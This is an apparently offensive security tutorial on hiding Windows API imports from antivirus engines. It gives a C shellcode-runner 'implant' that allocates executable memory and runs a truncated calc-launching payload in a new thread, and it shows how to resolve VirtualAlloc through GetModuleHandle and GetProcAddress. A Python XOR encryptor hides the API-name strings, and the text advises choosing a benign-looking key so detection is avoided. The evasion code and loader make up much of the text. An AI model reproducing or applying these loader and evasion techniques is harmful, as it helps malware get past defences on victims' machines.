Why do we need Function Call Obfuscation?
PE module like .exe
and .dll
usually uses external functions. Upon running, it calls functions within external DLLs, which will be mapped into process memory to make these functions available to the process code.
Therefore, Antivirus reviews the external DLLs and functions of a binary to determine if it is malicious. AV engines will look at the IAT (Import Address Table – http://sandsprite.com/CodeStuff/Understanding_imports.html) of a PE file at runtime and review the functions, then compare with functions used by other malwares. Frankly, this technique generates quite a few false positive, yet it’s still widely adopted by most AV engines.
Some functions that are generally blacklisted by AV engines include:
- VirtualAlloc
- VirtualProtect
- CreateThread
- RtlMoveMemory
- WaitForSingleObject
And here’s Function Call Obfuscation comes into play. This technique hides the DLL and external functions during runtime. To achieve this, normal windows API functions like GetModuleHandle
and GetProcAdddress
could be helpful.
- GetModuleHandle : return a handle to specified DLL. Malware developers could use it to get a handle to the
kernel32.dll
(https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) - GetProcAddress: obtain a memory address of the function exported from the DLL (https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)
Take VirtualAlloc
as an example. In short, after Function Call Obfuscation, the binary looks for the address of VirtualAlloc
inside kernel32.dll
and stores it in the pVirtualAlloc
variable. So the VirtualAlloc
function could be called with the pVirtualAlloc
pointer.
How to do it
The following is a template that executes shellcode, this time Calc.exe will be launched. (https://github.com/flawdC0de/Ev1L/blob/main/implant.cpp)
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
...
};
unsigned int calc_len = sizeof(calc_payload);
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "";
// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
//XOR((char *) calc_payload, calc_len, key, sizeof(key));
// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
As we can see, the program uses kernel32.dll
and imports VirtualAlloc
. Let’s get rid of it.
Let’s take a look at the declaration of VirtualAlloc
:
To change it as our desired pVirtualAlloc
pointer, one easy way is the following:
LPVOID (WINAPI * pVirtualAlloc) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Note that we only add (WINAPI * pVirtualAlloc). Don’t forget to remove [in] because they’re not needed and feel free to delete spaces.
So the obfuscated code will be like this:
And we could no longer find VirtualAlloc
on the IAT.
Done? Wait!
Even after Function Call Obfuscation, the VirtualAlloc
is still easily identified if AV engines extract all the strings from the binary (and they do!). It’s here because we use the stream in cleartext when we are calling GetProcAddress
.
So the next step is encryption to help us remove the use of the cleartext VirtualAlloc. The function of XOR encryption is already included in our template implant.cpp.
And the python XOR encryptor code is as follows:
# payload encryption with XOR
import sys
KEY = "cybersecarmory"
def xor(data, key):
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i%len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printC(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
printC(ciphertext)
With the encryptor, we supply the key and use printC function so that we can obtain the encrypted “VirtualAlloc” in C format.
Note: For the key, those obviously malicious ones like “SecretKey” should be avoided. One simple trick is search for the previously dumped strings and choose one that looks benign, although “cybersecarmory” will be used here.
Back to the implant.cpp, the key and encrypted value should be supplied. We could therefore replace the “VirtualAlloc” at where we call GetProcAddress
. Also, don’t forget to put the decryption function.
And now “VirtualAlloc” does not appear in strings or IAT. Bravo!!